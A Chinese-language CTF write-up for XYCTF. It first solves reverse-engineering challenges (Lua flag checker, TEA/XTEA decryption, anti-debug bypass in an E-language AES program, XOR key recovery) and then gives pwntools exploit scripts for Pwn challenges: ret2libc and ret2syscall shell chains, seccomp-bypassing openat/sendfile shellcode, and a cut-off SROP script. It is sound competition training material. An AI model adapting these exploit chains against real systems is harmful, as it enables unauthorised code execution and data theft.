  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function s(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function m(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function b(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function q(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function b(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function q(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function Xor(num1, num2)
  local tmp1 = num1
  local tmp2 = num2
  local str = ""
  repeat
    local s1 = tmp1 % 2
    local s2 = tmp2 % 2
    if s1 == s2 then
      str = "0" .. str
    else
      str = "1" .. str
    end
    tmp1 = math.modf(tmp1 / 2)
    tmp2 = math.modf(tmp2 / 2)
  until tmp1 == 0 and tmp2 == 0
  return tonumber(str, 2)
end

value = ""
output = ""
i = 1
while true do
  local temp = string.byte(flag, i)
  temp = string.char(Xor(temp, 8) % 256)
  value = value .. temp
  i = i + 1
  if i > string.len(flag) then
    break
  end
end
for _ = 1, 1000 do
  x = 3
  y = x * 3
  z = y / 4
  w = z - 5
  if w == 0 then
    print("This line will never be executed")
  end
end
for i = 1, string.len(flag) do
  temp = string.byte(value, i)
  temp = string.char(temp + 3)
  output = output .. temp
end
result = output:rep(10)
invalid_list = {
  1,
  2,
  3
}
for _ = 1, 20 do
  table.insert(invalid_list, 4)
end
for _ = 1, 50 do
  result = result .. "A"
  table.insert(invalid_list, 4)
end
for i = 1, string.len(output) do
  temp = string.byte(output, i)
  temp = string.char(temp - 1)
end
for _ = 1, 30 do
  result = result .. string.lower(output)
end
for _ = 1, 950 do
  x = 3
  y = x * 3
  z = y / 4
  w = z - 5
  if w == 0 then
    print("This line will never be executed")
  end
end
for _ = 1, 50 do
  x = -1
  y = x * 4
  z = y / 2
  w = z - 3
  if w == 0 then
    print("This line will also never be executed")
  end
end
require("base64")
obfuscated_output = to_base64(output)
obfuscated_output = string.reverse(obfuscated_output)
obfuscated_output = string.gsub(obfuscated_output, "g", "3")
obfuscated_output = string.gsub(obfuscated_output, "H", "4")
obfuscated_output = string.gsub(obfuscated_output, "W", "6")
invalid_variable = obfuscated_output:rep(5)
if obfuscated_output == "==AeuFEcwxGPuJ0PBNzbC16ctFnPB5DPzI0bwx6bu9GQ2F1XOR1U" then
  print("You get the flag.")
else
  print("F**k!")
end

    

梳理下逻辑

审计代码,发现整个过程中output变量涉及flag处理最多

  1. 将flag的每个字符与8进行与或计算后计算除256的余数,之后拼接成value对象

     
    value = ""
    output = ""
    i = 1
    while true do
      local temp = string.byte(flag, i)
      temp = string.char(Xor(temp, 8) % 256)
      value = value .. temp
      i = i + 1
      if i > string.len(flag) then
        break
      end
    end
  2. 之后将value的每个字符ASCII值加3后再拼接到output变量里

     
    for i = 1, string.len(flag) do
      temp = string.byte(value, i)
      temp = string.char(temp + 3)
      output = output .. temp
    end
  3. 将output进行base64之后进行翻转,先后替换g,H,W字符成3,4,6,之后判断是不是

     
    require("base64")
    obfuscated_output = to_base64(output)
    obfuscated_output = string.reverse(obfuscated_output)
    obfuscated_output = string.gsub(obfuscated_output, "g", "3")
    obfuscated_output = string.gsub(obfuscated_output, "H", "4")
    obfuscated_output = string.gsub(obfuscated_output, "W", "6")
    invalid_variable = obfuscated_output:rep(5)
    if obfuscated_output == "==AeuFEcwxGPuJ0PBNzbC16ctFnPB5DPzI0bwx6bu9GQ2F1XOR1U" then
      print("You get the flag.")
    else
      print("F**k!")
    end
    

XYCTF{5dcbaed781363fbfb7d8647c1aee6c}

ez_enc

秒了

 
enc = [0x27, 0x24, 0x17, 0x0B, 0x50, 0x03, 0xC8, 0x0C, 0x1F, 0x17, 0x36, 0x55, 0xCB, 0x2D, 0xE9, 0x32, 0x0E, 0x11, 0x26, 0x02, 0x0C, 0x07, 0xFC, 0x27, 0x3D, 0x2D, 0xED, 0x35, 0x59, 0xEB, 0x3C, 0x3E, 0xE4, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

current = ord("f")
for pos,elem in enumerate(enc):
        print(chr(current),end="")
        temp1 = (current% 20)
        temp = elem^ ord(key[pos % 6])
        temp2 = temp - temp1
        current = temp2

给阿姨倒一杯卡布奇诺

https://bbs.kanxue.com/thread-266933.htm#msg_header_h1_2

看雪原题,CBC的TEA解密

数据都没变

程序跑一下套上XYCTF{}就行

 
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
 
uint32_t data1 = 0x5F797274;
uint32_t data2 = 0x64726168; //???data ?
 
void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
    data1 ^= v0;
    data2 ^= v1;
    v0 = data1;
    v1 = data2;
    uint32_t delta = 0x6e75316c;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1) ^ (sum + i);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3) ^ (sum + i);
    }
    data1 = v0;
    data2 = v1;
}
 
 
void decrypt(uint32_t* v, uint32_t* k)
{
    uint32_t delta = 0x6e75316c;
    uint32_t v0 = v[0], v1 = v[1], sum = (delta * 32) & 0xffffffff, i;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3) ^ (sum + (31 - i));
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1) ^ (sum + (31 - i));
        sum -= delta;
    }
    v0 = v0 ^ data1;
    v1 = v1 ^ data2;
    v[0] = v0; v[1] = v1;
}
 
 
int main()
{
    uint32_t array[] = {0x9b28ed45, 0x145ec6e9, 0x5b27a6c3, 0xe59e75d5, 0xe82c2500, 0xa4211d92, 0xcd8a4b62, 0xa668f440};
    uint32_t key[4] = {0x65766967, 0x756F795F, 0x7075635F, 0x6165745F};
    for (int i = 0; i < 8; i += 2)
    {
        uint32_t temp[2];
        temp[0] = array[i];
        temp[1] = array[i + 1];
        decrypt(temp, key);
 
        printf("%c%c%c%c%c%c%c%c", *((char*)&temp[0] + 0), *((char*)&temp[0] + 1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));
        //??data
        encrypt(temp, key);
    }
    return 0;
}

XYCTF{133bffe401d223a02385d90c5f1ca377}

easy language

易语言反编译

https://github.com/fjqisba/E-debug-plus

下载latest的release

他只给了OD的安装,实际上ida也是扔到plugins目录就OK(请注意,IDA7.7会有问题,请使用IDA7.5)

给出调试符,如果自己调试需要注意ida有点问题,会把中文函数变成_的样子

这里详细说一下怎么调试这道题

IDA加载好之后,你就可以按Ctrl+3调出plugin页面

找到这个,双击打开,程序会自动分析

然后你就可以在左边看到易语言的函数了

但是需要注意,虽然有中文,但是IDA伪代码这里还是会变成_的

你知道他什么意思之后给他改成英文名字就行

我们主要分析这个按钮1被单击

这里,通过v10是AES-ECB这种加密模式,传参到了这个函数

我们能够知道这个函数是个加密函数

我们知道,AES加密无论是哪种模式,都需要一个key值

因此我们合理猜测

dword_59D0F0这个是key,但是我们静态分析发现是0,说明程序是通过运行时加载载入的这个数据。

然后通过

这个函数我们能知道,v0是flag的输入值

接下来我们就可以动态调试了,首先

仔细看这个窗口,右下角有个小按钮

点进去,这里才是真正的check框

也就是我们输入flag的地方,现在我们可以开始动态调试了

我们在这儿下个断点,flag的值就是我们输入的,我们就没有猜错v0

然后去看一下key值

发现key有值了,很好

我们现在有key了,只需要知道密文就好了

我们找一下密文

当然你可以审计代码,也可以找到密文

我这里是看到了key的下边有个

里边存储的是base64,猜了一下

为了方便截图我合并了一下

解密试试

md上当受骗了

那就说明key或者密文被篡改了

我们用交叉引用找一下

可以看到在404af7这个函数里边被修改过

一进这个函数我们就看到了IsDebuggerPresent

这个是看你是否是调试模式

如果是就改下边的值

在这里key被篡改了

那我们实际上就不让他篡改就行

也就是让整个逻辑反过来

它对应的汇编是jz,即真就跳转,我们改成jnz,即 假就跳转

这样逻辑就反过来了

我这里是改的ZF标志位,这个标志位就是控制jz跳不跳转的真或者假条件

我们在这儿下个断点,然后按tab回到汇编页面,如果你显示的不是图形化可以按空格键

总之就调到这儿了,然后按一下F7键让他执行到jz语句

此时左侧红箭头会闪

同时ZF标志位为0(标志位在右上角)

我们双击这个ZF旁边的0,把他改成1

此时逻辑被修改,执行的是右边

此时我们就修改成功

然后按F9让程序继续运行

我们输入值让他重新调到加密这里

再次查看加密数值

发现key和密文都不一样了

然后扔过去解密即可

馒头

aabbbbccccccdddddddeeeee

手撸哈夫曼树题目给的所有信息都是按照中序遍历的顺序给的,但是如果右子树是根节点,那么只会给出根节点对应的data值,也就是位置值,不会给出其对应的权重,因此需要自己用父节点的值减去左节点的值来计算。

下图中如果有分子分母,那么分母是data,分子是对应的权重

如果没有,则该节点为权重

(吐槽一句,现在已经公开wp了,各位师傅都是用真笔手搓的,就我上画图了)难绷)

{20: 51, 15: 55, 17: 111, 16: 114, 11: 115, 14: 116, 13: 117, 12: 118, 7: 120, 6: 123, 24: 125, 3: 67, 5: 70, 4: 84, 1: 88, 2: 89, 8: 97, 23: 48, 10: 49, 21: 100, 9: 102, 19: 104, 18: 106, 22: 101}

 
final = {20: 51, 15: 55, 17: 111, 16: 114, 11: 115, 14: 116, 13: 117, 12: 118, 7: 120, 6: 123, 24: 125, 3: 67, 5: 70, 4: 84, 1: 88, 2: 89, 8: 97, 23: 48, 10: 49, 21: 100, 9: 102, 19: 104, 18: 106, 22: 101}


for i,j in sorted(final.items()):
        print(chr(j),end="")

舔狗四部曲--简爱

改了XTEA,左移右移换了,符号也改了

才发现给的是obj文件,动调不了手动编译一下吧(好不容易给符号整理完...

但是似乎用不上动调,动调确认一下数据

 

gcc love.o -o love

流程大致出来了,拿明文对比的flag,先去howtolove里解密,得到的数据的前8字节,再去魔改的XTEA解密,就得到输入了

howtolove里大概是一个写好的指令序列数组,模仿过程逆运算应该就行

不过好像XTEA根本用不上?

 
#include <iostream>
#include <cstdint>
#include <cstring>

void how_to_love(char* a1){
    int array[1029] = {0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       2, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 1, 1, 1, 1, 1, 1,
                       1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
                       1, 1, 1, 1, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2,
                       5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
                       1, 1, 1, 1, 1, 1, 2, 4, 1, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 5, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 2, 0, 0, 0, 0, 0, 0, 2, 5, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 1, 1, 1,
                       1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
                       1, 1, 1, 1, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0,
                       0, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
                       1, 1, 2, 3, };

    int i = 31, j = 1028;
    while ( j > 0 )
    {
        while ( true )
        {
            while ( true )
            {
                while ( array[j] == 0 )
                {
                    --j;
                    --a1[i];
                }
                if ( array[j] != 1 )
                    break;
                --j;
                ++a1[i];
            }
            if ( array[j] != 2 )
                break;
            --j;
            --i;
        }
        if ( array[j] == 3 ) {
            printf("start!\n");
            --j;
        }
        if ( array[j] == 4 )
        {
            a1[i] = a1[i] - a1[i + 1] + 70;
            --j;
        }
        else if ( array[j] == 5 )
        {
            a1[i] = a1[i] + a1[i + 1] - 70;
            --j;
        }
    }
    printf("%s\n",a1);
}

int main() {
    char src[] = "flag{Love_is_not_one_sided_Love}";
    how_to_love(src);
    return 0;

舔狗四部曲--记忆的时光机

flag{Br0k*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}

key

Key ^ (i + 6) ^ 0x66

-6

cmp

Xor

"i_have_get_shell_but_where_is_you_my_dear_baby!!" ^ i

少了三个字节算不出来

 
plans = 'flag{Br0k*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'
key = 'i_have_get_shell_but_where_is_you_my_dear_baby!!'
enc = [  0x69, 0x58, 0x61, 0x63, 0x67, 0x4C, 0x4D, 0x32, -104, 0x20, 
  0x4D, 0x51, 0x7B, 0x25, 0x75, 0x51, -93, 0x58, 0x60, 0x72, 
  0x42, 0x62, 0x67, 0x66, 0x37, 0x6C, 0x30, 0x46, 0x66, 0x4F, 
  0x5D, 0x03, 0x5D, -92, 0x66, 0x01, 0x43, 0x68, 0x7D, 0x7C, 
  0x55, 0x4F, 0x7A, 0x3F, 0x6C, 0x12, 0x21, 0x09]

for i in range(len(plans)):
    for j in range(128):
        temp = ((j  ^ (6+i) ^ 0x66) - 6) ^ ord(key[i])
        if temp == enc[i]:
            print(chr(j),end='')
            break
        if j==127:
            print('*',end='')
            # print(i)
            pass

# print()
# print(((ord('h')  ^ (0xe) ^ 0x66) - 6) ^ ord(key[0xe]))

# # flag{Br03n_m3m01es_for3v3r_Sh1n_1n_The_H3@$T}

flag{Br0k3n_m3m0r1es_for3v3r_Sh1n@_1n_The_H3@$T}


Pwn:

hello_world

好消息 打通了 坏消息 不会连!脚本放进去 自己改ip吧

 
from pwn import *
# -------------------修改区----------------------------
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
pwnfile='./vuln'
elf = ELF(pwnfile)
libc = ELF('./libc.so.6')
flag=1  # 远程/本地
ip ='127.0.0.1'
port=36251
# -------------------End------------------------------

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
d=lambda :pause()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak


if flag:
    p = remote(ip,port)
else:
    p = process(pwnfile)
    b()


# -----------------code-----------------------------------

payload=40*b'a'
sa("please input your name: ",payload)
ru(40*b'a')
random_addr=get_leaked_libc64_1()
leak("random_addr",random_addr)
base_addr=random_addr-0x029d90
leak("base_addr",base_addr)
pop_rdi=base_addr+0x2a3e5
bin_sh_addr=base_addr+libc.search(b'/bin/sh').__next__()
system_addr=base_addr+libc.symbols['system']
leak("system_addr",system_addr)
leak("bin_sh_addr",bin_sh_addr)
ret=base_addr+0x29139

payload=40*b'a'+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
sa("please input your name: ",payload)
it()

一道ret2syscall

 
from pwn import *
# -------------------修改区----------------------------
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
pwnfile='./vuln'
elf = ELF(pwnfile)
# libc = ELF('./libc.so.6')
flag=1 # 远程/本地
ip ='127.0.0.1'
port=42899
# -------------------End------------------------------

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
d=lambda :pause()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak


if flag:
    p = remote(ip,port)
else:
    p = process(pwnfile)
    b()


# -----------------code-----------------------------------

padding=40*b'a'
pop_rdi=0x401f1f
pop_rsi=0x409f8e
pop_rax=0x447fe7
pop_rdx=0x451322
syscall=0x45BF87
bin_sh_addr=0x4C72A0


payload=padding
payload+=flat([pop_rax,0,pop_rdi,0,pop_rsi,bin_sh_addr,pop_rdx,8,syscall])
payload+=flat([pop_rax,0x3b,pop_rdi,bin_sh_addr,pop_rsi,0,pop_rdx,0,syscall])
sa("static_link? ret2??",payload)
sleep(0.5)
sd(b'/bin/sh\x00')
it()

invisible_flag

orw,开了片空间让写入0x200字节长度,并调用,先查沙盒,构造即可

不知道为什么不让我用open 学的思路

 
from pwn import *
# -------------------修改区----------------------------
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
pwnfile='./vuln'
elf = ELF(pwnfile)
libc = ELF('./libc.so.6')
flag=1  # 远程/本地
ip ='127.0.0.1'
port=40071
# -------------------End------------------------------

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
d=lambda :pause()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak


if flag:
    p = remote(ip,port)
else:
    p = process(pwnfile)
    b()




# -----------------code-----------------------------------
"""
#define __NR_read 0
  5 #define __NR_write 1
  6 #define __NR_open 2
"""
asm_code="""
    mov edi,0x0FFFFFF9C
    push 0x67616c66
    mov rsi, rsp
    mov rdx, 0
    mov r10,0x180
    mov rax,0x101
    syscall

    mov rsi,rax
    mov rax,40
    mov rdi,1
    mov r10,0x100
    syscall
"""

orw = asm(asm_code)
sa("show your magic again",orw)
it()



# asm_code="""
#     push 0x67616c66
#     mov rdi,rsp
#     mov rsi,0
#     mov rdx,0
#     mov rax,2
#     syscall

# """

simple_srop

srop标准套路 用srop实现orw 就是往bss段写的时候 比较抽象 有的地方不让我写 另外输出的 很抽象 输出太多 当然可能是我写脚本出问题了

 
from pwn import *
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
elf = ELF('./vuln')

# libc = ELF('./libc-2.27.so')


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak

flag=1
if flag:
    p = remote('127.0.0.1',33219)
else:
    p = process('./vuln')
    b()
# read_again=0x4007A8
# write_addr=0x40078D

buf_addr=0x404090
f_syscall_ret=0x401296
sys_ret=0x40129D
main=0x4012A3
flag_addr=buf_addr+0x108
# buf写入./flag 与布置的栈数据 
# rdx = 0 保持rsi=0
# rcx = buf_addr 保持rdx=buf


